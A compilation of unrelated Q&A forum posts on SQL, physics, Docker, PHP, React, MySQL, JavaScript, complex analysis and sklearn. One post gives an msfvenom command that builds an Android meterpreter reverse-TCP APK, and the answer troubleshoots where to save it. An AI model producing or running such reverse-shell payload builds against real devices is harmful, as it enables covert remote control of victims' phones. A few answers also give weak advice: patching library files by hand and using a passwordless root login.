In mssql i used the following query for solve my problem, i need the equivalent query in oracle
 with mycte as(
       select cast('2012-01-01 00:00:00' as datetime) DateValue union all
       select dateadd(minute,30,DateValue) from mycte where  dateadd(minute,30,DateValue) <= '2012-01-01 23:59:00')
 select DateValue from  mycte option (maxrecursion 32767);

result for the above query is as follows:
DateValue
2012-01-01 00:00:00.000
2012-01-01 00:30:00.000
2012-01-01 01:00:00.000
2012-01-01 01:30:00.000
2012-01-01 02:00:00.000
2012-01-01 02:30:00.000
2012-01-01 03:00:00.000
2012-01-01 03:30:00.000
2012-01-01 04:00:00.000
2012-01-01 04:30:00.000
2012-01-01 05:00:00.000
2012-01-01 05:30:00.000
2012-01-01 06:00:00.000
2012-01-01 06:30:00.000
2012-01-01 07:00:00.000
2012-01-01 07:30:00.000
2012-01-01 08:00:00.000
2012-01-01 08:30:00.000
2012-01-01 09:00:00.000
2012-01-01 09:30:00.000
2012-01-01 10:00:00.000
2012-01-01 10:30:00.000
2012-01-01 11:00:00.000
2012-01-01 11:30:00.000
2012-01-01 12:00:00.000
2012-01-01 12:30:00.000
2012-01-01 13:00:00.000
2012-01-01 13:30:00.000
2012-01-01 14:00:00.000
2012-01-01 14:30:00.000
2012-01-01 15:00:00.000
2012-01-01 15:30:00.000
2012-01-01 16:00:00.000
2012-01-01 16:30:00.000
2012-01-01 17:00:00.000
2012-01-01 17:30:00.000
2012-01-01 18:00:00.000
2012-01-01 18:30:00.000
2012-01-01 19:00:00.000
2012-01-01 19:30:00.000
2012-01-01 20:00:00.000
2012-01-01 20:30:00.000
2012-01-01 21:00:00.000
2012-01-01 21:30:00.000
2012-01-01 22:00:00.000
2012-01-01 22:30:00.000
2012-01-01 23:00:00.000
2012-01-01 23:30:00.000

I need the equivalent query in oracle,,

A: with mycte as (
    select timestamp '2012-01-01 00:00:00' + interval '30' minute * level as DateValue
    from dual
    connect by level < 48
)
select *
from mycte;

A: Another way could be
select to_date('2012-01-01', 'yyyy-mm-dd') + (level-1)/48 as datetime
  from dual
connect by level <= 48


text:
Q: Thermal radiation in the Unruh Effect The following formula has been given in 't Hooft's black holes notes ($|\Omega \rangle$ is the vacuum state of Minkowski space, O is a operator):
$$\langle \Omega| O|\Omega \rangle = \sum_{n \ge 0} \langle n | O | n \rangle e^{-2 \pi n \omega}(1-e^{-2 \pi \omega})=Tr(O \rho_{\Omega})$$
How does this mean that the radiation is thermal and follows Plancks black body law?

*

*Here, I read that $\langle O \rangle = \frac{1}{Z}\sum_n e^{-\beta E_n}\langle n |O|n\rangle$. How is this sum the same as that in the above expression?

*How is the density matrix related to the law of black body radiation? How can I derive Planck's law from the expectation value of O in the first expression?

A: First, let's see the density matrix of thermal mixture (in some cases is the Planck's law):
$$
\rho_{Thermal}=\frac{1}{Z}\sum_{n=0}^{N}e^{-\beta E_n}|n\rangle \langle n|
$$
Now we note that the expectation value $\langle \Omega|O|\Omega \rangle$ is equal to
$$
\frac{1}{Z}\sum_{n=0}^{N}e^{-\beta E_n}\langle n|O|n \rangle ,
$$
with $Z=(1-e^{-2 \pi \omega})^{-1}$ and $\beta E_n=2 \pi n \omega$ (this expression give us the $\beta$).
The operator $O$ in $|n\rangle 's$ basis is simple a matrix $O_{nm}=\langle n|O| m\rangle$. Now is easy to see that $\langle \Omega| O|\Omega \rangle = Tr(O \rho_{Thermal})=$
$$
\sum_{n=0}^{N}O_{n}\frac{e^{-\beta E_n}}{Z}.
$$.


text:
Q: Django and apache on different dockers We have an application written in django. We are trying a deployment scenario which will have one docker running apache, the second docker running django and the third docker running the DB server. In most of the documentation it is mentioned that apache and django will sit on the same machine (django in virtualenv to be precise), is there any way we can ask apache to talk to mod_wsgi sitting on a remote machine which has the django application?

A: mod_wsgi would be the wrong technology if you want to do this. It runs as part of Apache itself, so there literally is nothing to run in the Django container.
A better way would be to use gunicorn to run Django in one container, and have the other running the webserver as a proxy - you could use Apache for this, although it's more common to use nginx.


text:
Q: A problem to Creating metasploit payload in termux msfvenom -p android/meterpreter/reverse_tcp LHOST= ip
LPORT=4444 R > /storage/hackmingtest.apk

bash: /storage/hackmingtest.apk: Permission denied

I use this command also (termux-setup-storage)
But it is not working

A: The Solution' to this Question is very simple ..
The /storage directory requires root access. I think the Location you wanna enter is /storage/emulated/0/something.apk
ALTERNATIVELY, you can also use /sdcard/whatever.apk


text:
Q: Apache user - Permission denied I have a problem with my Apache user. He seems to have no right on linux system.
I use CentOS 7, Apache 2.4.6, PHP 5.5.21. The apache user is apache:apache
When I try to use chmod() or fopen() I get "Permission denied"
So I have created a file named info.php :
-rwxrwxrwx.  1 apache apache   50 Jan 30 13:55 info.php

In this file I just added this line :
<?php chmod("info.php", 777); ?>

And the result is :
Warning: chmod(): Permission denied in /var/www/html/info.php on line 1

So I think that the probelm is, system user Apache has no rights but I don't know how can I fix tis?
Thanks.
EDIT : fix php code

A: You are calling the chmod with wrong parameter.
chmod("filename", 0777);

Please refer to the PHP manual http://php.net/manual/en/function.chmod.php


text:
Q: Fix the AxisHelper at Left-Bottom of canvas in Three.js I am using AxisHelper which is available in Three.js. It works fine when I keep it at center of the canvas (0,0,0). But if I move it to the left-bottom of the page it does not work properly. i.e when I rotate the model the AxisHelper also gets rotated about (0,0,0). Please send your valuable suggestions.
Thanks in advance.


text:
Q: Trying to generate stub(java file) with json(application/json) data with file(multipart) using swagger trying to submit form with multiple attachments(file)
whether it is correct approach or i don't know if i am using multipart/form-data not able to submit json data.
paths:
/request/create:
post:
tags:
- Request Service API
summary: request for media file access
security: []
operationId: createMediaRequest
parameters:
- name: userId
in: header
description: user login id
required: true
schema:
type: string
- name: xt-trace-id
in: header
description: request trace id
required: true
schema:
type: string
  requestBody:
    description: to send a request to get media file, id is mandatory for make a request. Id should be a valid and in the form of UUID.
    content:
      application/json:
        schema:
          type: object
          properties:
            deviceinfo:
              type: array
              items:
                $ref: '#/components/schemas/ClientReqData'
            priority:
              type: string
              example: '1'
            appID:
              type: string
              example: 'app1'
            hostID:
              type: string
              example: 'host1'
            subscribers:
              type: string
              example: "[XT123,xt234]"
            requestreason:
              type: string
              example: "audit purpose"
            previousshiftemployee:
              type: string
              example: xyz
            regulationchecklist:
              type: string
              example: "[i have read instructions, I have identified]"
            file:
              type: array
              items:
                type: string
                format: binary
            attachments:
              type: array
              items:
                $ref: '#/components/schemas/Attachments'
    required: true

  responses:
    201:
      description: Request for media created
      content:
        application/json:
          schema:
            $ref: '#/components/schemas/CreateMediaResponse'
    400:
      $ref: '#/components/responses/400-bad-request'
    500:
      $ref: '#/components/responses/500-internal-server-error'
    503:
      $ref: '#/components/responses/503-Service-unavailable'

and Attachments is
Attachments:
  type: object
  properties:
    filename:
      type: string
      format: binary

A: I understand you would like to create a stub for the HTTP endpoint defined in the Swagger specification. In other words, you are looking for creating an over-the-wire test double.
There are a couple of options you have:

*

*Use one of the tools available on the market

*

*Example of an OpenSource tool: Wiremock. You can manually configure it to simulate your HTTP APIs.

*Example of a commercial tool: Traffic Parrot. It allows you to import Swagger definition files and create stubs that way.

*Write the stub yourself in Java. This is probably the most time-consuming option, but it allows you to be very flexible. You could build it on top of OpneSource to hit the ground running.


text:
Q: setTimeout in React re-render 2 times every second I would like create an setTimeout in my React Component, but the setTimeout is render 2 times every second. I don't understand why (:
My component code :
  componentDidMount() {
    this._isMounted = true;

    if (this._isMounted) {
      this.clearTimeout();
    }
  }

  componentWillUnmount () {
    this.clearTimeout();
  }

  clearTimeout = () => {
    window.clearTimeout(this.timeout);
    this.setState({ timer: 0 });
  }

runCounter() {
    const { timer, duration, max_duration } = this.state;
    const offset = 5;
    const startDuration = offset;
    const endDuration = parseInt(duration) + offset;

    let startMaxDuration;
    let endMaxDuration;

    if (!max_duration) {
      startMaxDuration = (this.props.store.get('session').maxdurationDefault *60) - 10 + offset;
      endMaxDuration = startMaxDuration + 10;
    } else {
      startMaxDuration = max_duration - 10 + offset;
      endMaxDuration = startMaxDuration + 10;
    }

    this.timeout = window.setTimeout(() => {
      this.setState({ timer: timer + 1 });

      console.log(this.state.timer); // 2 times re-render

      switch (this.state.timer) {
        case startDuration:
          this.startDuration();
          break;
        case endDuration:
          this.endDuration();
          break;
        case startMaxDuration:
          this.startMaxDuration();
          break;
        case endMaxDuration:
          this.endMaxDuration();
          return false;
          break;
      }

      this.runCounter();
    }, 1000);

  }

  render() {
    <div>
        {showStartCounter &&
          <Counter begin={5} end={0} className="is-absolute" />
        }
        {showQuestionCounter &&
          <Counter begin={0} end={duration} maxDuration={max_duration} className="is-offset" />
        }
        {showQuestionMaxDuration &&
          <Counter begin={10} end={0} maxDuration={max_duration} className="is-absolute" />
        }
    </div>
  }

I run my runCounter method on click event.
Anyone have idea why my setTimeout is rerender 2 times every second ? I don't undestand where is the problem :)
Thank you community!


text:
Q: access denied for user root @ localhost i am trying to connect to mysql,but it gives a warning
      mysqli_connect(): (HY000/1045): Access denied for user                                                  'root'@'localhost' (using password: YES)
.I think the username and password is correct,because i have access to mysql in komand line.I also created another user and granted him all priveleges but still i have this warning.
I have access to phpMyAdmin.I am using wamp server(apache 2.4.9) and mysql 5.1
     <?php
      $conn = mysqli_connect("localhost", "root", "password");
       ?>

A: Let the following 2 lines fail if user exists and blahblah doesnt matter for now:
create user 'root'@'localhost' identified by 'blahblah';
create user 'root'@'127.0.0.1' identified by 'blahblah';

Do your grants:
grant all on *.* to 'root'@'localhost';
grant all on *.* to 'root'@'127.0.0.1';

Change the password to something you will remember:
set password for 'root'@'localhost' = password('NewPassword');
set password for 'root'@'127.0.0.1' = password('NewPassword');

See how many root users you have. A real user is a user/host combo. The password will show up hashed:
select user,host,password from mysql.user where user='root';

or
select user,host,authentication_string from mysql.user where user='root';

The 2nd one above is for MySQL 5.7
If you get more than the two users above, drop the others such as:
drop user 'root'@'%';   -- this is the wildcard hostname, can be a security risk
drop user 'root'@'::1';

Still have only 2? I hope so. Use the select stmts above to check.
Don't connect a user app using root. root is for maintenance only. It doesn't matter if it is server-side code, or if an admin is running it. Code that is not secured and/or injected with harmful statements gets to run as root. So there, that is why.

A: wamp's mysql default configuration sets username root with no password
$conn = mysqli_connect("localhost", "root", "");

the above code should work

A: if you are using localhost. it doesnt have password. you will just setup it like this:
<?php
mysql_connect("localhost", "root", "") or die(mysql_error());
mysql_select_db("database name here") or die(mysql_error());
?>


text:
Q: How to append object-key value form one array to other array? I have an existing array with multiple object. With an interval I would like to update the existing array with values from another array. See the (simplified) example below.
I've serverall gools:

*

*Copy the value of fan_count form the new array, to the current array with the key "fan_count_new"

*If a object is removed or added in the New array, it have to do the same to the Current array.

As far I can see now, I can use some es6 functions :) like:

*

*object-assign, but how to set the new key "fan_count_new"?

*How to loop through the array to compare and add or remove + copy the fan_count?

Current array:
[{
    "fan_count": 1234,
    "id": "1234567890",
    "picture": {
        "data": {
            "url": "https://scontent.xx.fbcdn.net/v/photo.png"
        }
    }
},
{
    "fan_count": 4321,
    "id": "09876543210",
    "picture": {
        "data": {
            "url": "https://scontent.xx.fbcdn.net/v/photo.png"
        }
    }
}, ...
]

New array:
[{
    "fan_count": 1239,
    "picture": {
        "data": {
            "url": "https://scontent.xx.fbcdn.net/v/photo.png"
        }
    "id": "1234567890"
},
{
    "fan_count": 4329,
    "picture": {
        "data": {
            "url": "https://scontent.xx.fbcdn.net/v/photo.png"
        }
    },
    "id": "09876543210"
}, ...
]]

A: You can remove elements which doesn't exists in new array by using array.filter and you can loop through the new array to update the same object in the current array:

var currArr = [
    {
        "fan_count": 1234,
        "id": "1234567890",
    },
    {
        "fan_count": 4321,
        "id": "09876543210",
    },
    {
        "fan_count": 4321,
        "id": "09876543215",
    }
];

var newArr = [
    {
        "fan_count": 1234,
        "id": "1234567890"
    },
    {
        "fan_count": 5555,
        "id": "09876543210"
    }
];

currArr = currArr.filter(obj => newArr.some(el => el.id === obj.id));

newArr.forEach(obj => {
    var found = currArr.find(o => o.id === obj.id);
    if (found) {
        found.fan_count_new = obj.fan_count;
    }
});

console.log(currArr);

Later on I realised that is was better to turn it around, add the fan_count form the currArr to the new one. This because it is easier to handle new objects, and you dont't have to deal with deleted objects. So, anybody how is looking for something like this:
newArr.forEach(obj => {
  var found = currArr.find(o => o.id === obj.id);
  if (found) {
    console.log('found: ', found.fan_count, obj.fan_count)
    obj.fan_count_prev = found.fan_count;
    obj.fan_count_diff = Math.round(obj.fan_count - found.fan_count);
  }

  if (typeof obj.fan_count_prev === "undefined") {
    obj.fan_count_prev = obj.fan_count;
    obj.fan_count_diff = 0
  }
});


text:
Q: Bounded spherical derivative implies finite order Hi,
Let $f$ be an entire function. The spherical derivative $\rho(f)$ is defined by
$$\rho(f)(z):= \frac{|f'(z)|}{1+|f(z)|^2}.$$
A result from Clunie and Hayman states that if $\rho(f)$ is bounded, then $f$ is of exponential type. The proof uses the machinery of Nevanlinna's theory of value distribution.
My question is the following :
Is there an elementary proof that if $\rho(f)$ is bounded, then $f$ is of finite order?
(Note that this is a weaker result, since I'm only asking for finite order here).
Finite order means that there exists constants $K$ and $\alpha$ such that
$$|f(z)| \leq Ke^{|z|^\alpha}$$
for all $z$.
Motivation :
I'm interested in this because it would lead to a quick proof of Picard's little theorem. Indeed, if there exists a non-constant entire function which omits $0$ and $1$, then it is possible to obtain (using normal families techniques) a non-constant entire function $f$ which omits $0$ and $1$ and that has bounded spherical derivative. Write $f = e^g$ for some entire function $g$. Since $f$ is of finite order, $g$ is a polynomial. But $f$ does not take the value $1$, so $g$ must be constant, a contradiction.
Any reference is welcome.
Thank you,
Malik.
EDIT
I asked the question  on math.stackexchange.

A: Yes, of course. A bound on spherical derivative immediately gives T(r)=O(r^2)
where T is the Nevanlinna characteristic. And that finite order of T implies
finite order of f is proved in the beginning pages of any book on Nevanlinna theory.
BTW. Your idea on a simple proof of Picard theorem is not new.
A proof based on this idea was published by Zalcman many years ago.


text:
Q: '<' not supported between instances of 'tuple' and 'Version' error When I run the following code:
from sklearn.model_selection import train_test_split
X_train, X_rest, y_train, y_rest = train_test_split(x, y, stratify=None,test_size=0.4)

I get this error:
--------------------------------------------------------------------------
TypeError                                 Traceback (most recent call last)
<ipython-input-24-ade5fc6cc231> in <module>
      3 #from sklearn.cross_validation import train_test_split
      4
----> 5 X_train, X_test, y_train, y_test = train_test_split(x, y, test_size=0.2, stratify=y, random_state=123, shuffle=True)
      6
      7 # X_train, X_rest, y_train, y_rest = train_test_split(x, y, stratify=None,test_size=0.4)

~\anaconda3\lib\site-packages\sklearn\model_selection\_split.py in train_test_split(*arrays, **options)
   2152         train, test = next(cv.split(X=arrays[0], y=stratify))
   2153
-> 2154     return list(chain.from_iterable((_safe_indexing(a, train),
   2155                                      _safe_indexing(a, test)) for a in arrays))
   2156

~\anaconda3\lib\site-packages\sklearn\model_selection\_split.py in <genexpr>(.0)
   2152         train, test = next(cv.split(X=arrays[0], y=stratify))
   2153
-> 2154     return list(chain.from_iterable((_safe_indexing(a, train),
   2155                                      _safe_indexing(a, test)) for a in arrays))
   2156

~\anaconda3\lib\site-packages\sklearn\utils\__init__.py in _safe_indexing(X, indices, axis)
    393         return _pandas_indexing(X, indices, indices_dtype, axis=axis)
    394     elif hasattr(X, "shape"):
--> 395         return _array_indexing(X, indices, indices_dtype, axis=axis)
    396     else:
    397         return _list_indexing(X, indices, indices_dtype)

~\anaconda3\lib\site-packages\sklearn\utils\__init__.py in _array_indexing(array, key, key_dtype, axis)
    172 def _array_indexing(array, key, key_dtype, axis):
    173     """Index an array or scipy.sparse consistently across NumPy version."""
--> 174     if np_version < parse_version('1.12') or issparse(array):
    175         # FIXME: Remove the check for NumPy when using >= 1.12
    176         # check if we have an boolean array-likes to make the proper indexing

TypeError: '<' not supported between instances of 'tuple' and 'Version'

A: Wow, that's really looks like a bug in sklearn. Seems like Version was a namedtuple before (therefore, was comparable with ordinary touples). ¯\_(ツ)_/¯

A: For those facing this issue, go to ~\anaconda3\lib\site-packages\sklearn\utils_init_.py
In line 174, remove np_version < parse_version('1.12'), save and restart Jupyter.
This works for me